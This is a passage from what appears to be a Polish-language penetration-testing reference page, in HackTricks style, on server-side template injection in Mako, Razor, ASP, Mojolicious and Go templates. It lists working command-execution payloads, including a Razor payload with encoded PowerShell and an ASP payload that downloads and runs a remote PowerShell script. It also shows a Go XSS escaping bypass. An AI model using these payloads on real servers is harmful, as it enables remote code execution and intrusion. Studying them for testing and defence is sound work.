{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Inne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Więcej informacji

Inne Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Sukces
  • @() <= Sukces
  • @("{{code}}") <= Sukces
  • @ <= Sukces
  • @{} <= BŁĄD!
  • @{ <= BŁĄD!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET System.Diagnostics.Process.Start może być używana do uruchamiania dowolnego procesu na serwerze, a tym samym do tworzenia webshella. Możesz znaleźć przykład podatnej aplikacji webowej w https://github.com/cnotin/RazorVulnerableApp

Więcej informacji

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nic
  • <%= response.write(date()) %> = <Data>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Więcej informacji

Mojolicious (Perl)

Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Błąd
<%= perl code %>
<% perl code %>

SSTI w GO

W silniku szablonów Go, potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków:

  • {{ . }}: Odsłania strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem Password, {{ .Password }} może go ujawnić.
  • {{printf "%s" "ssti" }}: Oczekiwane jest wyświetlenie ciągu "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go tutaj.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

Wykorzystanie XSS

Z pakietem text/template, XSS może być proste poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} skutkuje &lt;script&gt;alert(1)&lt;/script&gt;). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Wykorzystanie RCE

Wykorzystanie RCE znacznie różni się między html/template a text/template. Moduł text/template pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości „call”), co nie jest dozwolone w html/template. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.

Dla RCE przez SSTI w Go, można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę System wykonującą polecenia, można to wykorzystać jak {{ .System "ls" }}. Zazwyczaj dostęp do kodu źródłowego jest konieczny, aby to wykorzystać, jak w podanym przykładzie:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Więcej informacji

Więcej exploitów

Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection w poszukiwaniu kolejnych exploitów. Możesz również znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

Powiązana pomoc

Jeśli uważasz, że to może być przydatne, przeczytaj:

Narzędzia

Lista wykrywania brute-force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Ćwiczenia i odniesienia

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}